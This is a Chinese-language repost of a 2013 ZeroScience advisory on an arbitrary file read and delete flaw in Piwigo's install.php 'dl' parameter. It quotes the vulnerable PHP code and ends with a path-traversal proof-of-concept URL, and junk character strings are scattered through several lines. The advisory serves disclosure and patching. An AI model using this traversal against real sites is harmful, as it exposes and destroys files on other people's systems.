Piwigo任意文件泄露和任意文件删除漏洞

admin

Piwigo是用PHP编写的相册脚本。

  c, d& ~) L- D( y, q, jPiwigo 2.4.6及其他版本没有正确验证install.php脚本的 'dl'参数值，在实现上存在安全漏洞，攻击者可利用这些漏洞查看受影响计算机上的任意文件，删除受影响应用上下文内的任意文件。
====================================================================
/install.php:
-------------
113: if (!empty($_GET['dl']) && file_exists(PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl']))
6 n5 A5 i9 S1 x8 {; l- V1 D114: {
5 m5 e( O" g( E# H/ u( _7 J- G! w! H115:   $filename = PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl'];
116:   header('Cache-Control: no-cache, must-revalidate');
117:   header('Pragma: no-cache');
5 c7 Y4 ^7 [; m118:   header('Content-Disposition: attachment; filename="database.inc.php"');
119:   header('Content-Transfer-Encoding: binary');
2 c$ Q9 A$ x! f6 e- j" x% w9 [120:   header('Content-Length: '.filesize($filename));
121:   echo file_get_contents($filename);
3 Z3 n6 t4 j/ `+ K5 b+ ^  G122:   unlink($filename);
  G1 e5 E  K1 ]1 [7 c7 W123:   exit();
124: }
====================================================================

1 e3 C3 J! ^* }7 @  \" m. g- N% E( hTested on: Microsoft Windows 7 Ultimate SP1 (EN)
" d8 b9 }+ T5 W3 O' e. d% v, K* Q+ P+ t2 g$ |           Apache 2.4.2 (Win32)
           PHP 5.4.4
           MySQL 5.5.25a

7 m5 y* L3 H) r2 AVulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience

Advisory ID: ZSL-2013-5127
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5127.php
% r- ~7 {) b* j, B% @  R% VVendor Patch: http://piwigo.org/bugs/view.php?id=2843
2 E# @0 `( d7 [  w" P1 u3 o( ~
15.02.2013
- T) e/ U& T' @, c: K
8 M" [1 C6 d# q' x$ R+ @4 x--
http://localhost/piwigo/install.php?dl=../../../../../../lio_passwords.txt

5 g8 I* D' K3 C, ]9 d, W